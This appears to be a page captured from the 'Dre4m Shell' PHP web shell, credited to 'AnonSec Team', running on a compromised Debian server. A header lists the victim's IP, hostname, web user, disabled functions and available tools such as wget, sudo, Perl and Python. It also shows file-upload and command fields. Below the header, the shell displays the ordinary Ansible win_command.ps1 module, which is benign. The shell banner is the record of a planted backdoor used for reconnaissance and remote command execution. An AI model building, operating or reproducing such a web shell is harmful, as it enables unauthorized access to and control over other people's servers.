Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.15.177.45
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/ansible/windows/plugins/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/ansible/windows/plugins/modules/win_command.ps1
#!powershell

# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

#AnsibleRequires -CSharpUtil Ansible.Basic
#AnsibleRequires -PowerShell ..module_utils.Process
#Requires -Module Ansible.ModuleUtils.FileUtil

$spec = @{
    options = @{
        _raw_params = @{ type = "str" }
        cmd = @{ type = 'str' }
        argv = @{ type = "list"; elements = "str" }
        chdir = @{ type = "path" }
        creates = @{ type = "path" }
        removes = @{ type = "path" }
        stdin = @{ type = "str" }
        output_encoding_override = @{ type = "str" }
    }
    required_one_of = @(
        , @('_raw_params', 'argv', 'cmd')
    )
    mutually_exclusive = @(
        , @('_raw_params', 'argv', 'cmd')
    )
    supports_check_mode = $false
}
$module = [Ansible.Basic.AnsibleModule]::Create($args, $spec)

$chdir = $module.Params.chdir
$creates = $module.Params.creates
$removes = $module.Params.removes
$stdin = $module.Params.stdin
$output_encoding_override = $module.Params.output_encoding_override

<#
There are 3 ways a command can be specified with win_command:

    1. Through _raw_params - the value will be used as is

    - win_command: raw params here

    2. Through cmd - the value will be used as is

    - win_command:
        cmd: cmd to run here

    3. Using argv - the values will be escaped using C argument rules

    - win_command:
        argv:
        - executable
        - argument 1
        - argument 2
        - repeat as needed

Each of these options are mutually exclusive and at least 1 needs to be specified.
#>
$filePath = $null
$rawCmdLine = if ($module.Params.cmd) {
    $module.Params.cmd
}
elseif ($module.Params._raw_params) {
    $module.Params._raw_params.Trim()
}
else {
    $argv = $module.Params.argv

    # First resolve just the executable to an absolute path
    $filePath = Resolve-ExecutablePath -FilePath $argv[0] -WorkingDirectory $chdir

    # Then combine the executable + remaining arguments and escape them
    @(
        ConvertTo-EscapedArgument -InputObject $filePath
        $argv | Select-Object -Skip 1 | ConvertTo-EscapedArgument
    ) -join " "
}

$module.Result.cmd = $rawCmdLine
$module.Result.rc = 0

if ($creates -and $(Test-AnsiblePath -Path $creates)) {
    $module.Result.msg = "skipped, since $creates exists"
    $module.Result.skipped = $true
    $module.ExitJson()
}

if ($removes -and -not $(Test-AnsiblePath -Path $removes)) {
    $module.Result.msg = "skipped, since $removes does not exist"
    $module.Result.skipped = $true
    $module.ExitJson()
}

$commandParams = @{
    CommandLine = $rawCmdLine
}
if ($filePath) {
    $commandParams.FilePath = $filePath
}
if ($chdir) {
    $commandParams.WorkingDirectory = $chdir
}
if ($stdin) {
    $commandParams.InputObject = $stdin
}
if ($output_encoding_override) {
    $commandParams.OutputEncodingOverride = $output_encoding_override
}

$startDatetime = [DateTime]::UtcNow
try {
    $cmdResult = Start-AnsibleWindowsProcess @commandParams
}
catch {
    $module.Result.rc = 2

    # Keep on checking inner exceptions to see if it has the NativeErrorCode to
    # report back.
    $exp = $_.Exception
    while ($exp) {
        if ($exp.PSObject.Properties.Name -contains 'NativeErrorCode') {
            $module.Result.rc = $exp.NativeErrorCode
            break
        }
        $exp = $exp.InnerException
    }

    $module.FailJson("Failed to run: '$rawCmdLine': $($_.Exception.Message)", $_)
}

$module.Result.cmd = $cmdResult.Command
$module.Result.changed = $true
$module.Result.stdout = $cmdResult.Stdout
$module.Result.stderr = $cmdResult.Stderr
$module.Result.rc = $cmdResult.ExitCode

$endDatetime = [DateTime]::UtcNow
$module.Result.start = $startDatetime.ToString("yyyy-MM-dd HH:mm:ss.ffffff")
$module.Result.end = $endDatetime.ToString("yyyy-MM-dd HH:mm:ss.ffffff")
$module.Result.delta = $($endDatetime - $startDatetime).ToString("h\:mm\:ss\.ffffff")

If ($module.Result.rc -ne 0) {
    $module.FailJson("non-zero return code")
}

$module.ExitJson()

Anon7 - 2022
AnonSec Team